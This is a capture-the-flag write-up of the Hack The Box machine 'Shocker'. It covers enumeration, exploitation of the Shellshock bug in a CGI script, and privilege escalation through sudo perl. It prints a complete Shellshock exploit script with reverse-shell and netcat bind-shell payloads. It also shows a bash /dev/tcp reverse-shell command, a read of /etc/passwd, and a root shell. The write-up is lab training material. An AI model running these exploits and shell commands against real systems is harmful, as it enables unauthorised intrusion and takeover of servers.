Ech0 - 16 / 11 / 19

Shocker Writeup

Introduction :



Shocker is an easy Linux Box released back in September 2017. It features the well known shellshock vulnerability.

Part 1 : Initial Enumeration



As always we begin our Enumeration using Nmap to enumerate opened ports.
We will be using the flags -sC for default scripts and -sV to enumerate versions.

  λ ech0 [ 10.10.14.48/23 ] [~] → nmap 10.10.10.56 -sC -sV
  Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-16 10:12 CET
  Nmap scan report for 10.10.10.56
  Host is up (0.065s latency).
  Not shown: 998 closed ports
  PORT     STATE SERVICE VERSION
  80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
  |_http-server-header: Apache/2.4.18 (Ubuntu)
  |_http-title: Site doesnt have a title (text/html).
  2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
  | ssh-hostkey:
  |   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
  |   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
  |_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
  Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

  Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  Nmap done: 1 IP address (1 host up) scanned in 9.43 seconds

Part 2 : Getting User Access



Our nmap result tells us that port 80 seems to be serving an Apache httpd 2.4.18 service, let's see if we can dig in a little more information...

  λ ech0 [ 10.10.14.48/23 ] [~] → curl -vsk http://10.10.10.56/
*   Trying 10.10.10.56:80...
* TCP_NODELAY set
* Connected to 10.10.10.56 (10.10.10.56) port 80 (#0)
> GET / HTTP/1.1
> Host: 10.10.10.56
> User-Agent: curl/7.67.0
> Accept: */ *
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Sat, 16 Nov 2019 09:25:00 GMT
< Server: Apache/2.4.18 (Ubuntu)
< Last-Modified: Fri, 22 Sep 2017 20:01:19 GMT
< ETag: "89-559ccac257884"
< Accept-Ranges: bytes
< Content-Length: 137
< Vary: Accept-Encoding
< Content-Type: text/html
<
<!DOCTYPE html>
<html>
<body>

<h2>Dont Bug Me!h2>
<img src="bug.jpg" alt="bug" style="width:450px;height:350px;">

</body>
</html>
* Connection #0 to host 10.10.10.56 left intact

Looking at the results , the URL http://10.10.10.56/ doesnt seem to yield that much results. Let's run the dirbusting command dirb to try to find out which directories are being hosted by the httpd service.

λ ech0 [ 10.10.14.48/23 ] [~] → dirb http://10.10.10.56/

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Sat Nov 16 10:23:02 2019
URL_BASE: http://10.10.10.56/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://10.10.10.56/ ----
+ http://10.10.10.56/cgi-bin/ (CODE:403|SIZE:294)
+ http://10.10.10.56/index.html (CODE:200|SIZE:137)
+ http://10.10.10.56/server-status (CODE:403|SIZE:299)

-----------------
END_TIME: Sat Nov 16 10:26:12 2019
DOWNLOADED: 4612 - FOUND: 3

Dirbuster returned with 2 interesting results :

/cgi-bin/
/server-status

Although both of these seem to be returning the 403 Forbidden error. Let's see if we can find any good results within the /cgi-bin/ for example a .sh file, we will use dirbuster one more time using the common files txt wordlist.

λ root [ 10.10.14.48/23 ] [share/wordlists/dirb] → curl -vsk https://raw.githubusercontent.com/digination/dirbuster-ng/master/wordlists/common.txt > common.txt
λ ech0 [ 10.10.14.48/23 ] [~/_HTB/Shocker] → dirb http://10.10.10.56/cgi-bin/ -w /usr/share/dirb/common.txt -X .sh

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Sat Nov 16 10:52:59 2019
URL_BASE: http://10.10.10.56/cgi-bin/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
OPTION: Not Stoping on warning messages
EXTENSIONS_LIST: (.sh) | (.sh) [NUM = 1]

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://10.10.10.56/cgi-bin/ ----
+ http://10.10.10.56/cgi-bin/user.sh (CODE:200|SIZE:118)

-----------------
END_TIME: Sat Nov 16 10:56:07 2019
DOWNLOADED: 4612 - FOUND: 1

Dirbuster found the user.sh file within the /cgi-bin/ folder ! Let's download it using the wget command, and print out it's content.

λ ech0 [ 10.10.14.48/23 ] [~/_HTB/Shocker] → wget http://10.10.10.56/cgi-bin/user.sh
--2019-11-16 10:56:29--  http://10.10.10.56/cgi-bin/user.sh
Connecting to 10.10.10.56:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/x-sh]
Saving to: ‘user.sh’

user.sh                           [ <=>                                             ]     118  --.-KB/s    in 0.001s

2019-11-16 10:56:29 (195 KB/s) - ‘user.sh’ saved [118]


λ ech0 [ 10.10.14.48/23 ] [~/_HTB/Shocker] → cat user.sh
Content-Type: text/plain

Just an uptime test script

 04:58:44 up  2:11,  0 users,  load average: 0.01, 0.00, 0.00

This seems to ring a bell, this may in fact be the shellshock vulnerability !
We run a quick searchsploit to find which exploit number corresponds to the shellshock CVE.

  λ ech0 [ 10.10.14.48/23 ] [~/_HTB/Shocker] → searchsploit shellshock
------------------------------------------------------------------------------ ----------------------------------------
 Exploit Title                                                                |  Path
                                                                              | (/usr/share/exploitdb/)
------------------------------------------------------------------------------ ----------------------------------------
Advantech Switch - 'Shellshock' Bash Environment Variable Command Injection ( | exploits/cgi/remote/38849.rb
Apache mod_cgi - 'Shellshock' Remote Command Injection                        | exploits/linux/remote/34900.py
Bash - 'Shellshock' Environment Variables Command Injection                   | exploits/linux/remote/34766.php
Bash CGI - 'Shellshock' Remote Command Injection (Metasploit)                 | exploits/cgi/webapps/34895.rb
Cisco UCS Manager 2.1(1b) - Remote Command Injection (Shellshock)             | exploits/hardware/remote/39568.py
GNU Bash - 'Shellshock' Environment Variable Command Injection                | exploits/linux/remote/34765.txt
IPFire - 'Shellshock' Bash Environment Variable Command Injection (Metasploit | exploits/cgi/remote/39918.rb
NUUO NVRmini 2 3.0.8 - Remote Command Injection (Shellshock)                  | exploits/cgi/webapps/40213.txt
OpenVPN 2.2.29 - 'Shellshock' Remote Command Injection                        | exploits/linux/remote/34879.txt
PHP < 5.6.2 - 'Shellshock' Safe Mode / Disable Functions Bypass / Command Inj | exploits/php/webapps/35146.txt
Postfix SMTP 4.2.x < 4.2.48 - 'Shellshock' Remote Command Injection           | exploits/linux/remote/34896.py
RedStar 3.0 Server - 'Shellshock' 'BEAM' / 'RSSMON' Command Injection         | exploits/linux/local/40938.py
Sun Secure Global Desktop and Oracle Global Desktop 4.61.915 - Command Inject | exploits/cgi/webapps/39887.txt
TrendMicro InterScan Web Security Virtual Appliance - 'Shellshock' Remote Com | exploits/hardware/remote/40619.py
dhclient 4.1 - Bash Environment Variable Command Injection (Shellshock)       | exploits/linux/remote/36933.py
------------------------------------------------------------------------------ ----------------------------------------
Shellcodes: No Result

Seems like the exploit n° 34900 corresponds to the box that we have, Apache, mod_cgi, Shellshock
let's run a quick locate and cp command to copy the script onto our current directory for further inspection.

λ ech0 [ 10.10.14.48/23 ] [~/_HTB/Shocker] → locate 34900.py
/usr/share/exploitdb/exploits/linux/remote/34900.py

λ ech0 [ 10.10.14.48/23 ] [~/_HTB/Shocker] → cp  /usr/share/exploitdb/exploits/linux/remote/34900.py .

λ ech0 [ 10.10.14.48/23 ] [~/_HTB/Shocker] → nano 34900.py

Here is the official python script that we could be using :

#! /usr/bin/env python
from socket import *
from threading import Thread
import thread, time, httplib, urllib, sys

stop = False
proxyhost = ""
proxyport = 0

def usage():
        print ("""
                Usage : python2 exploit.py payload=reverse rhost= lhost= lport= pages=cgi-bin/user.sh
        """)
        sys.exit(0)

def exploit(lhost,lport,rhost,rport,payload,pages):
        headers = {"Cookie": payload, "Referer": payload}

        for page in pages:
                if stop:
                        return
                print ("[-] Trying exploit on : "+page)
                if proxyhost != "":
                        c = httplib.HTTPConnection(proxyhost,proxyport)
                        c.request("GET","http://"+rhost+page,headers=headers)
                        res = c.getresponse()
                else:
                        c = httplib.HTTPConnection(rhost)
                        c.request("GET",page,headers=headers)
                        res = c.getresponse()
                if res.status == 404:
                        print( "[*] 404 on : "+page)
                time.sleep(1)
args = {}


for arg in sys.argv[1:]:
        ar = arg.split("=")
        args[ar[0]] = ar[1]
try:
        args['payload']
except:
        usage()

if args['payload'] == 'reverse':
        try:
                lhost = args['lhost']
                lport = int(args['lport'])
                rhost = args['rhost']
                payload = "() { :;}; /bin/bash -c /bin/bash -i >& /dev/tcp/"+lhost+"/"+str(lport)+" 0>&1 &"
        except:
                usage()

elif args['payload'] == "bind":
        try:
                rhost = args['rhost']
                rport = args['rport']
                payload = "() { :;}; /bin/bash -c 'nc -l -p "+rport+" -e /bin/bash &'"
        except:
                usage()
else:
        print( "[*] Unsupported payload")
        usage()
try:
        pages = args['pages'].split(",")
except:
        pass

if args['payload'] == 'reverse':
        serversocket = socket(AF_INET, SOCK_STREAM)
        buff = 1024
        addr = (lhost,lport)
        serversocket.bind(addr)
        serversocket.listen(10)
        print ("[!] Started reverse shell handler")
        thread.start_new_thread(exploit,(lhost,lport,rhost,0,payload,pages,))
if args['payload'] == 'bind':
        serversocket = socket(AF_INET, SOCK_STREAM)
        addr = (rhost,int(rport))
        thread.start_new_thread(exploit,("",0,rhost,rport,payload,pages,))

buff = 1024

while True:
        if args['payload'] == 'reverse':
                clientsocket, clientaddr = serversocket.accept()
                print ("[!] Successfully exploited")
                print ("[!] Incoming connection from "+clientaddr[0])
                stop = True
                clientsocket.settimeout(3)
                while True:
                        reply = raw_input(clientaddr[0]+"> ")
                        clientsocket.sendall(reply+"\n")
                        try:
                                data = clientsocket.recv(buff)
                                print (data)
                        except:
                                pass

        if args['payload'] == 'bind':
                try:
                        serversocket = socket(AF_INET, SOCK_STREAM)
                        time.sleep(1)
                        serversocket.connect(addr)
                        print ("[!] Successfully exploited")
                        print ("[!] Connected to "+rhost)
                        stop = True
                        serversocket.settimeout(3)
                        while True:
                                reply = raw_input(rhost+"> ")
                                serversocket.sendall(reply+"\n")
                                data = serversocket.recv(buff)
                                print( data)
                except:
                        pass

If we wanted to execute the aforementionned python script, we would follow the syntax given in the script itself :
python2 34900.py payload=reverse rhost= lhost= lport= pages=cgi-bin/user.sh
Although we will go for another, more elaborate alternative which has been developped by ncc group.

  λ root [ 10.10.14.48/23 ] [ech0/_HTB/Shocker] → wget https://raw.githubusercontent.com/nccgroup/shocker/master/shocker.py
  --2019-11-16 11:28:02--  https://raw.githubusercontent.com/nccgroup/shocker/master/shocker.py
  Loaded CA certificate '/etc/ssl/certs/ca-certificates.crt'
  Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.120.133
  Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.120.133|:443... connected.
  HTTP request sent, awaiting response... 200 OK
  Length: 17942 (18K) [text/plain]
  Saving to: ‘shocker.py’

  shocker.py                                     100%[===================================================================================================>]  17.52K  --.-KB/s    in 0.02s

  2019-11-16 11:28:02 (828 KB/s) - ‘shocker.py’ saved [17942/17942]

  λ root [ 10.10.14.48/23 ] [ech0/_HTB/Shocker] → python2 shocker.py

     .-. .            .
    (   )|            |
     `-. |--. .-.  .-.|.-. .-. .--.
    (   )|  |(   )(   |-.'(.-' |
     `-' '  `-`-'  `-''  `-`--'  v1.1

   Tom Watson, tom.watson@nccgroup.trust
   https://www.github.com/nccgroup/shocker

   Released under the GNU Affero General Public License
   (https://www.gnu.org/licenses/agpl-3.0.html)


  usage: shocker.py [-h] (--Host HOST | --file FILE)
                    [--cgilist CGILIST | --cgi CGI] [--port PORT]
                    [--command COMMAND] [--proxy PROXY] [--ssl]
                    [--threads THREADS] [--verbose] [--debug]
  shocker.py: error: one of the arguments --Host/-H --file/-f is required

As you can see it seems to have a simpler syntax for us to use.
Let's test our second python script onto our target and see if we get any results.
We will use the -H , --command, -c and --verbose flags.

  λ root [ 10.10.14.48/23 ] [ech0/_HTB/Shocker] → python2 shocker.py -H 10.10.10.56 --command "/bin/cat /etc/passwd" -c /cgi-bin/user.sh --verbose

   .-. .            .
  (   )|            |
   `-. |--. .-.  .-.|.-. .-. .--.
  (   )|  |(   )(   |-.'(.-' |
   `-' '  `-`-'  `-''  `-`--'  v1.1

 Tom Watson, tom.watson@nccgroup.trust
 https://www.github.com/nccgroup/shocker

 Released under the GNU Affero General Public License
 (https://www.gnu.org/licenses/agpl-3.0.html)


[+] Single target '/cgi-bin/user.sh' being used
[+] Checking connectivity with target...
[I] Checking to see if 10.10.10.56 resolves...
[I] Resolved ok
[I] Checking to see if 10.10.10.56 is reachable on port 80...
[I] 10.10.10.56 seems reachable...
[+] Target was reachable
[+] Looking for vulnerabilities on 10.10.10.56:80
[I] Starting thread 1
[+] Finished host scan
[+] 1 potential target found, attempting exploits
[+] Trying exploit for http://10.10.10.56:80/cgi-bin/user.sh
[I] Flag set to: V74T37Z64S0NDC600N7U
[I] Header is: Content-type
[I] Attack string is: () { :;}; echo;  echo V74T37Z64S0NDC600N7U; /bin/cat /etc/passwd
[!] http://10.10.10.56:80/cgi-bin/user.sh looks vulnerable
[!] Response returned was:

  root:x:0:0:root:/root:/bin/bash
  daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  bin:x:2:2:bin:/bin:/usr/sbin/nologin
  sys:x:3:3:sys:/dev:/usr/sbin/nologin
  sync:x:4:65534:sync:/bin:/bin/sync
  games:x:5:60:games:/usr/games:/usr/sbin/nologin
  man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
  lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
  mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
  news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
  uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
  proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
  www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
  backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
  list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
  irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
  gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
  nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
  systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
  systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
  systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
  systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
  syslog:x:104:108::/home/syslog:/bin/false
  _apt:x:105:65534::/nonexistent:/bin/false
  lxd:x:106:65534::/var/lib/lxd/:/bin/false
  messagebus:x:107:111::/var/run/dbus:/bin/false
  uuidd:x:108:112::/run/uuidd:/bin/false
  dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
  sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin
  shelly:x:1000:1000:shelly,,,:/home/shelly:/bin/bash

[+] The following URLs appear to be exploitable:
  [1] http://10.10.10.56:80/cgi-bin/user.sh
[+] Would you like to exploit further?
[>] Enter an URL number or 0 to exit: 0

Our exploit worked ! we have been able to print out the contents of the /etc/passwd file. Now let's try to see if we can get a reverse shell connection on our 1337th port. We start by using the netcat command ready with the -lvnp flags to catch the incoming connection, within a second terminal.

Terminal 2:
λ ech0 [ 10.10.14.48/23 ] [~/_HTB/Shocker] → nc -lvnp 1337

Now all we have to do is use the previous shocker python script to tell the machine to send us a reverse shell connection on the correct port.

Terminal 1:
  λ root [ 10.10.14.48/23 ] [ech0/_HTB/Shocker] → python2 shocker.py -H 10.10.10.56 --command "/bin/bash -i > /dev/tcp/10.10.14.48/1337 0<&1 2>&1" -c /cgi-bin/user.sh --verbose

     .-. .            .
    (   )|            |
     `-. |--. .-.  .-.|.-. .-. .--.
    (   )|  |(   )(   |-.'(.-' |
     `-' '  `-`-'  `-''  `-`--'  v1.1

   Tom Watson, tom.watson@nccgroup.trust
   https://www.github.com/nccgroup/shocker

   Released under the GNU Affero General Public License
   (https://www.gnu.org/licenses/agpl-3.0.html)


  [+] Single target '/cgi-bin/user.sh' being used
  [+] Checking connectivity with target...
  [I] Checking to see if 10.10.10.56 resolves...
  [I] Resolved ok
  [I] Checking to see if 10.10.10.56 is reachable on port 80...
  [I] 10.10.10.56 seems reachable...
  [+] Target was reachable
  [+] Looking for vulnerabilities on 10.10.10.56:80
  [I] Starting thread 1
  [+] Finished host scan
  [+] 1 potential target found, attempting exploits
  [+] Trying exploit for http://10.10.10.56:80/cgi-bin/user.sh
  [I] Flag set to: ZS6W4FQLEFG9B7NYE0K9
  [I] Header is: Content-type
  [I] Attack string is: () { :;}; echo;  echo ZS6W4FQLEFG9B7NYE0K9; /bin/bash -i > /dev/tcp/10.10.14.48/1337 0<&1 2>&1
  [I] http://10.10.10.56:80/cgi-bin/user.sh - timed out
  [-] Not vulnerable
  [-] All exploit attempts failed

The script tells us that it seems to have failed, Although it seems like our second terminal recieved the connection through the 1337 port.

Terminal 2:
  λ ech0 [ 10.10.14.48/23 ] [~/_HTB/Shocker] → nc -lvnp 1337
Connection from 10.10.10.56:38116
bash: no job control in this shell

shelly@Shocker:/usr/lib/cgi-bin$ whoami
shelly

shelly@Shocker:/usr/lib/cgi-bin$ uname -a
uname -a
Linux Shocker 4.4.0-96-generic #119-Ubuntu SMP Tue Sep 12 14:59:54 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

shelly@Shocker:/usr/lib/cgi-bin$ cat /home/shelly/user.txt
cat /home/shelly/user.txt
2eXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

That's how you get the user flag ! Now let's try to escalate privileges onto the box.

Part 3 : Getting Root Access



First of all let's type the sudo -l command to see which commands could potentially be run as the root user.

shelly@Shocker:/usr/lib/cgi-bin$ sudo -l
sudo -l

Matching Defaults entries for shelly on Shocker:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User shelly may run the following commands on Shocker:
    (root) NOPASSWD: /usr/bin/perl

Seems like the perl command can be run as root ! let's test it.

shelly@Shocker:/usr/lib/cgi-bin$ sudo perl -e 'exec "/bin/sh";'
sudo perl -e 'exec "/bin/sh";'

whoami
root

And that's it ! we now have an elevated privilege shell as the root user. All that's left to do now is to print the root flag.

cat /root/root.txt
52XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Conclusion



Here we can see the progress graph :